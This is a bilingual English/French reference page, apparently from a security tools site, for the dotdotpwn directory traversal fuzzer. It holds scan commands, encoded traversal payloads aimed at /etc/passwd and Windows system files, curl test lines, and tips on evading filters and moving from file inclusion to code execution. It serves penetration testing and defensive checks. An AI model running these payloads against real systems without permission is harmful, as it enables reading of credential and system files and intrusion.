retour aux outils back to tools Ducklings

dotdotpwn

Scanner de vulnérabilités de traversée de répertoires. Teste les applications web, serveurs FTP, TFTP et SMTP à la recherche de vulnérabilités de traversée de répertoires à l'aide de centaines de payloads encodés. Path traversal vulnerability scanner. Tests web applications, FTP, TFTP, and SMTP servers for directory traversal vulnerabilities using hundreds of encoded payloads.

↗ https://github.com/wireghoul/dotdotpwn

Overview

dotdotpwn (The Directory Traversal Fuzzer) systematically tests for path traversal vulnerabilities using hundreds of payload variations — different encodings, null bytes, OS-specific separators, and Unicode tricks. Tests web applications as well as FTP, TFTP, and SMTP servers.

Basic Usage

Scan HTTP with all default payloads

dotdotpwn -m http -h target.com

Target specific URL with parameter

dotdotpwn -m http -h target.com -U "/index.php?file=TRAVERSAL"

FTP server

dotdotpwn -m ftp -h target.com -u admin -k password

TFTP server

dotdotpwn -m tftp -h target.com

STDOUT mode (test payloads only, no requests)

dotdotpwn -m stdout

HTTP Mode

Basic HTTP traversal scan

dotdotpwn -m http -h target.com -p 80

HTTPS

dotdotpwn -m http -h target.com -p 443 -s

Custom URL with injection point (TRAVERSAL is the placeholder)

dotdotpwn -m http -h target.com \
  -U "/download.php?file=TRAVERSAL" \
  -t 10 \
  -f /etc/passwd

With cookies

dotdotpwn -m http -h target.com \
  -U "/page.php?path=TRAVERSAL" \
  -C "session=abc123"

POST request

dotdotpwn -m http -h target.com \
  -U "/upload.php" \
  -M POST \
  -d "filename=TRAVERSAL"

Target Files

Default target file: /etc/passwd (Linux)

dotdotpwn -m http -h target.com -f /etc/passwd
# Windows targets
dotdotpwn -m http -h target.com -f "C:\\Windows\\win.ini"
dotdotpwn -m http -h target.com -f "C:\\boot.ini"
dotdotpwn -m http -h target.com -f "C:\\Windows\\System32\\drivers\\etc\\hosts"

Depth and Encoding Options

Set traversal depth (default: 6)

dotdotpwn -m http -h target.com -d 8

Quick scan (fewer payloads)

dotdotpwn -m http -h target.com -q

Time between requests (ms)

dotdotpwn -m http -h target.com -t 500

Payload Types Tested

Standard:
  ../../../etc/passwd
  ..\..\..\windows\win.ini

URL Encoded:
  %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
  ..%2F..%2F..%2Fetc%2Fpasswd

Double Encoded:
  %252e%252e%252f%252e%252e%252f
  
Null byte bypass:
  ../../../etc/passwd%00.jpg

Unicode:
  ..%c0%af..%c0%af..%c0%afetc/passwd
  
Combinations of the above...

Manual Testing Payloads

# Quick manual test with curl
curl "http://target.com/read.php?file=../../../etc/passwd"
curl "http://target.com/read.php?file=..%2F..%2F..%2Fetc%2Fpasswd"
curl "http://target.com/read.php?file=....//....//etc/passwd"
curl "http://target.com/read.php?file=..%252F..%252F..%252Fetc%252Fpasswd"

Tips

  • dotdotpwn is very noisy — use slow mode (-t 1000) on sensitive targets
  • If the application blocks ../, try ..%2F (URL encoded) or ..\/ (mixed)
  • Null byte injection (%00) used to work with PHP string functions — less effective on modern PHP
  • LFI → RCE: if you find a traversal, look for log poisoning or /proc/self/fd/ inclusion
Help / Man page 
dotdotpwn -m MODULE -h HOST [options]

-m MODULE    Module: http, ftp, tftp, smtp, stdout
-h HOST      Target host
-p PORT      Target port
-U URL       URL with TRAVERSAL placeholder
-s           Use SSL/HTTPS
-d DEPTH     Traversal depth (default: 6)
-f FILE      Target file to read
-t DELAY     Delay between requests (ms)
-q           Quick mode (fewer payloads)
-u USER      Username (for FTP)
-k PASS      Password (for FTP)
-C COOKIES   Cookie header
-M METHOD    HTTP method (GET/POST)
-d DATA      POST data
-x PROXY     HTTP proxy
-b           Break on first match

Vue d’ensemble

dotdotpwn (The Directory Traversal Fuzzer) teste systématiquement les vulnérabilités de traversée de chemin à l’aide de centaines de variations de payloads : différents encodages, null bytes, séparateurs spécifiques à l’OS, et astuces Unicode. Teste les applications web ainsi que les serveurs FTP, TFTP et SMTP.

Utilisation de base

# Scanner HTTP avec tous les payloads par défaut
dotdotpwn -m http -h target.com

# Cibler une URL spécifique avec un paramètre
dotdotpwn -m http -h target.com -U "/index.php?file=TRAVERSAL"

# Serveur FTP
dotdotpwn -m ftp -h target.com -u admin -k password

# Serveur TFTP
dotdotpwn -m tftp -h target.com

# Mode STDOUT (teste uniquement les payloads, sans requêtes)
dotdotpwn -m stdout

Mode HTTP

# Scan de traversée HTTP basique
dotdotpwn -m http -h target.com -p 80

# HTTPS
dotdotpwn -m http -h target.com -p 443 -s

# URL personnalisée avec point d'injection (TRAVERSAL est le placeholder)
dotdotpwn -m http -h target.com \
  -U "/download.php?file=TRAVERSAL" \
  -t 10 \
  -f /etc/passwd

# Avec cookies
dotdotpwn -m http -h target.com \
  -U "/page.php?path=TRAVERSAL" \
  -C "session=abc123"

# Requête POST
dotdotpwn -m http -h target.com \
  -U "/upload.php" \
  -M POST \
  -d "filename=TRAVERSAL"

Fichiers cibles

# Fichier cible par défaut : /etc/passwd (Linux)
dotdotpwn -m http -h target.com -f /etc/passwd

# Cibles Windows
dotdotpwn -m http -h target.com -f "C:\\Windows\\win.ini"
dotdotpwn -m http -h target.com -f "C:\\boot.ini"
dotdotpwn -m http -h target.com -f "C:\\Windows\\System32\\drivers\\etc\\hosts"

Options de profondeur et d’encodage

# Définir la profondeur de traversée (par défaut : 6)
dotdotpwn -m http -h target.com -d 8

# Scan rapide (moins de payloads)
dotdotpwn -m http -h target.com -q

# Délai entre les requêtes (ms)
dotdotpwn -m http -h target.com -t 500

Types de payloads testés

Standard:
  ../../../etc/passwd
  ..\..\..\windows\win.ini

URL Encoded:
  %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
  ..%2F..%2F..%2Fetc%2Fpasswd

Double Encoded:
  %252e%252e%252f%252e%252e%252f
  
Null byte bypass:
  ../../../etc/passwd%00.jpg

Unicode:
  ..%c0%af..%c0%af..%c0%afetc/passwd
  
Combinations of the above...

Payloads de test manuel

# Test manuel rapide avec curl
curl "http://target.com/read.php?file=../../../etc/passwd"
curl "http://target.com/read.php?file=..%2F..%2F..%2Fetc%2Fpasswd"
curl "http://target.com/read.php?file=....//....//etc/passwd"
curl "http://target.com/read.php?file=..%252F..%252F..%252Fetc%252Fpasswd"

Conseils

  • dotdotpwn est très bruyant : utilisez le mode lent (-t 1000) sur les cibles sensibles
  • Si l’application bloque ../, essayez ..%2F (encodé en URL) ou ..\/ (mixte)
  • L’injection de null byte (%00) fonctionnait autrefois avec les fonctions de chaîne PHP : moins efficace sur les versions modernes de PHP
  • LFI → RCE : si vous trouvez une traversée, cherchez du log poisoning ou l’inclusion de /proc/self/fd/
Aide / Page de manuel 
dotdotpwn -m MODULE -h HOST [options]

-m MODULE    Module: http, ftp, tftp, smtp, stdout
-h HOST      Target host
-p PORT      Target port
-U URL       URL with TRAVERSAL placeholder
-s           Use SSL/HTTPS
-d DEPTH     Traversal depth (default: 6)
-f FILE      Target file to read
-t DELAY     Delay between requests (ms)
-q           Quick mode (fewer payloads)
-u USER      Username (for FTP)
-k PASS      Password (for FTP)
-C COOKIES   Cookie header
-M METHOD    HTTP method (GET/POST)
-d DATA      POST data
-x PROXY     HTTP proxy
-b           Break on first match